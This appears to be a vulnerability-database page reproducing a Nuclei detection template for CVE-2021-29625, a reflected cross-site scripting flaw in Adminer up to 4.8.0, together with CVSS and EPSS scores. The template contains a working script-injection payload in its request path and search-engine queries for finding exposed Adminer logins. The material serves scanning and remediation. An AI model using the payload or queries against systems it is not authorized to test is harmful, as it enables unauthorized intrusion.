Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-29625
HistorySep 05, 2021 - 10:12 a.m.

Adminer <=4.8.0 - Cross-Site Scripting

2021-09-0510:12:40
ProjectDiscovery
github.com
6

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

6.2 Medium

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

62.0%

Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a pdo_ extension to communicate with the database (it is used if the native extensions are not enabled).

id: CVE-2021-29625

info:
  name: Adminer <=4.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the Adminer interface, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
  reference:
    - https://sourceforge.net/p/adminer/bugs-and-features/797/
    - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29625
    - https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-29625
    cwe-id: CWE-79
    epss-score: 0.00236
    epss-percentile: 0.61643
    cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adminer
    product: adminer
    shodan-query:
      - http.title:"login - adminer"
      - cpe:"cpe:2.3:a:adminer:adminer"
    fofa-query:
      - app="adminer" && body="4.7.8"
      - title="login - adminer"
    google-query: intitle:"login - adminer"
    hunter-query: app.name="adminer"&&web.body="4.7.8"
  tags: cve2021,cve,adminer,xss,sqli

http:
  - method: GET
    path:
      - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100867db1d09deedf2664021f22878cba4e896143a676977bd676580d1180f202c2022020bdb614a8f9e72f7b7e7f14ed1d5a39cde07b93c1e61a38305477a99391e9e6:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

6.2 Medium

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

62.0%